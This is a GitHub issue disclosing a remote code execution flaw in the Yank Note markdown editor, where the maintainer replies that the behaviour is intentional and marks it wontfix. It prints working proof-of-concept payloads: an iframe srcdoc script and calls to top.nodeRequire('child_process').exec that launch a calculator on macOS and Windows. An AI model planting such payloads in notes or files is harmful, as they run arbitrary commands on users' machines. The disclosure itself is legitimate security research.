Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[BUG]: Yank Note Remote Code Execution via Iframe #229

Closed
aht7525 opened this issue Nov 14, 2022 · 1 comment
Closed

[BUG]: Yank Note Remote Code Execution via Iframe #229

aht7525 opened this issue Nov 14, 2022 · 1 comment
Labels
bug Something isn't working wontfix This will not be worked on

Comments

@aht7525
Copy link

aht7525 commented Nov 14, 2022

Author: bob11.devranger@gmail.com
Data: 2022-11-08
OS: Windows, Linux, MacOS
YN Version : v3.43.0

Summary


It is possible to load nodeRequire using iframe.

Description


[1] We found that javascript execution is possible by adding a script tag using srcdoc, an option of the iframe tag.

<iframe srcdoc="<script>alert(1)</script>"></iframe>

yn-rce-1

[2] And we found that it is possible to load nodeJS from JavaScript through nodeRequire. This enabled Remote Code Execution.

mac : <iframe srcdoc="<script>top.nodeRequire('child_process').exec('open -a /System/Applications/Calculator.app')</script>"></iframe>

windows : <iframe srcdoc="<script>top.nodeRequire('child_process').exec('calc')</script>"></iframe>

yn-rce-2

what’s more

@aht7525 aht7525 added the bug Something isn't working label Nov 14, 2022
@purocean purocean added the wontfix This will not be worked on label Nov 15, 2022
@purocean
Copy link
Owner

purocean commented Nov 15, 2022

Thank you for you test. These security issues are known and intentional.

Yank Note positioning is not only a markdown editor, but also a highly open hacker's toy. You can even use it to control a drone.

I have put a warning in the README, and It also does not support opening files directly. You use it at your own risk.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working wontfix This will not be worked on
Projects
None yet
Development

No branches or pull requests

2 participants